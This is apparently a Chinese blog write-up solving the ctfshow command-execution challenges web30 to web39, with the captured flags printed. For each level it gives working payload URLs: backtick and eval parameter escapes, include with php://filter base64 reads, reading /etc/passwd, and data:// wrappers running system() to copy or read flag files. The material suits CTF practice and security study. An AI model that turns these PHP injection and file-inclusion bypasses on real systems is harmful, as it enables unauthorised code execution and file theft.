天天看点

ctfshow命令执行web30-39web30

web30

ctfshow命令执行web30-39web30

过滤了flag php system

用``(反引号)代替system

用?代替flag和php(问号可以代表一个占位符)

http://11a60cc1-4545-447c-89ca-6bacc7271ebc.challenge.ctf.show/?c=`cp fla?.??? 1.txt`;

cp命令:

cp source target 将文件source复制为target

?c=`cp fla?.??? 1.txt`;
           

然后再查看1.txt

ctfshow命令执行web30-39web30

web31 

ctfshow命令执行web30-39web30

嵌套一个eval()执行

/?c=eval($_GET[1]);&1=phpinfo();
           
ctfshow命令执行web30-39web30

测试成功

 相当于参数逃逸用c参数作为一个跳板传进去的值传入另外一个参数1就可以过滤对参数c的判断

?c=eval($_GET[1]);&1=system('ls');
           

查看文件

ctfshow命令执行web30-39web30
/?c=eval($_GET[1]);&1=system('cat flag.php');
           

 发现是空白因为是php代码,查看源码

ctfshow命令执行web30-39web30

如果用tac就可以直接看到

/?c=eval($_GET[1]);&1=system(‘tac flag.php’);
           
ctfshow命令执行web30-39web30

web32

使用文件包含

ctfshow命令执行web30-39web30

空格也被过滤用url编码绕过

分号可以用?>代替

%0a是换行符

/?c=include%0a$_GET[1]?>&1=/etc/passwd
           
ctfshow命令执行web30-39web30
/?c=include%0A$_GET[1]?>&1=flag.php
           
ctfshow命令执行web30-39web30

虽然是包含但是没有输出flag的变量

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow命令执行web30-39web30

解密后得到:

http://53c68ec7-13cd-4973-90b2-ec4d39dff7b6.challenge.ctf.show/?c=in<?php

$flag="ctfshow{2becc14a-2856-414b-a754-dec0d6448d9a}";

clude%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

Web33

ctfshow命令执行web30-39web30

多过滤了双引号

继续用web32的方法

/?c=include%0a$_GET[1]?>&1=/etc/passwd
           
ctfshow命令执行web30-39web30

发现可以执行

/?c=include%0A$_GET[1]?>&1=flag.php
           
ctfshow命令执行web30-39web30

利用php伪协议

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow命令执行web30-39web30

解密后得到flag

ctfshow命令执行web30-39web30
ctfshow{bd6efc19-bc25-4402-8396-c93fb21cec72}
           

 还有另外一种方法:

/?c=require%0a$_GET[1]?>&1=/etc/passwd

/?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web34

ctfshow命令执行web30-39web30

括号被过滤掉

echo print isset unset include require不需要用括号

如果是用print那么phpinfo()是在数据端不是代码端

/?c=print%0a$_GET[1]?>&1=phpinfo();
           

 像这个样子

ctfshow命令执行web30-39web30

如果用eval的话/?c=eval(%0a$_GET[1])?>&1=phpinfo();要使用括号但是括号已经被过滤了

所以我们用一下include包含系统文件

/?c=include%0a$_GET[1]?>&1=/etc/passwd

ctfshow命令执行web30-39web30

继续读取flag文件

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

ctfshow命令执行web30-39web30

解密得到flag

$flag="ctfshow{182443af-6a97-4927-b613-17e31e65afb2}";
           

 Web35

 多过滤了=和/不影响我们用上一个方法解

ctfshow命令执行web30-39web30
/?c=include%0a$_GET[1]?>&1=/etc/passwd
           
ctfshow命令执行web30-39web30
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow命令执行web30-39web30

之后得到flag 

Web36

不让用数字了

可以用字母把1换成a

/?c=include%0a$_GET[a]?>&a=/etc/passwd
           
ctfshow命令执行web30-39web30
/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow命令执行web30-39web30

 解密后得到lfag

Web37

Flag在flag.php中

不能包含flag

ctfshow命令执行web30-39web30

先使用包含其他参数

/?c=$_GET[1]&1=flag.php

不行,因为$_GET[1]在数据端不是代码执行,只能包含这个字符串不能解析字符串

ctfshow命令执行web30-39web30

试用了一下php伪协议不可以

但是data伪协议可以

/?c=data://text/plain,<?php phpinfo();?>
           

 data伪协议吧后面的<?php phpinfo();?>作为php代码执行

ctfshow命令执行web30-39web30
/?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>
           

mv命令:

将文件移动走,或者改名,在Luinx下面没有改名的命令,如果想改名,要使用该命令

mv source target 将文件source更名为target

ctfshow命令执行web30-39web30

 Web38

ctfshow命令执行web30-39web30

把php换成等于号

/?c=data://text/plain,<?=system("cp fl*.* 1.txt");?>
           
ctfshow命令执行web30-39web30
1.txt
           
ctfshow命令执行web30-39web30

web39

ctfshow命令执行web30-39web30

直接用data协议和system

/?c=data://text/plain,<?=system("tac fla?.ph?");?>
           
ctfshow命令执行web30-39web30

继续阅读